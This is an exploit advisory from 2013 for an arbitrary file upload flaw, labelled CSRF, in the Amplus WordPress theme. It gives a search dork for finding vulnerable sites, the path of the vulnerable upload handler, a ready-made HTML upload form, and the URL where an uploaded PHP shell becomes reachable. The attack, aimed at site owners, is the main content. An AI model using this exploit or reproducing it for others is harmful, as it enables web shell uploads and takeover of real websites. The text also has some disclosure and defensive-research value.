WordPress Theme Amplus - Cross-Site Request Forgery

#Title : Wordpress Amplus Themes CSRF File Upload Vulnerability

#Author : DevilScreaM

#Date : 11/17/2013 - 17 November 2013

#Category : Web Applications

#Type : PHP

#Vendor : http://themeforest.net

#Download : http://themeforest.net/item/amplus-responsive-multilingual-wordpress-theme/

#Greetz : 0day-id.com | newbie-security.or.id | Borneo Security | Indonesian Security
     Indonesian Hacker | Indonesian Exploiter | Indonesian Cyber

#Thanks : ShadoWNamE | gruberr0r | Win32Conficker | Rec0ded |

#Tested : Mozila, Chrome, Opera -> Windows & Linux

#Vulnerabillity : CSRF

#Dork : 

inurl:wp-content/themes/amplus


CSRF File Upload Vulnerability

Exploit & POC : 

http://site-target/wp-content/themes/amplus/functions/upload-handler.php

Script :

<form enctype="multipart/form-data"
action="http://127.0.0.1/wp-content/themes/amplus/functions/upload-handler.php" method="post"> 
Your File: <input name="uploadfile" type="file" /><br /> 
<input type="submit" value="upload" /> 
</form> 


File Access :

http://site-target/uploads/[years]/[month]/your_shell.php

Example : http://127.0.0.1/wp-content/uploads/2013/11/devilscream.php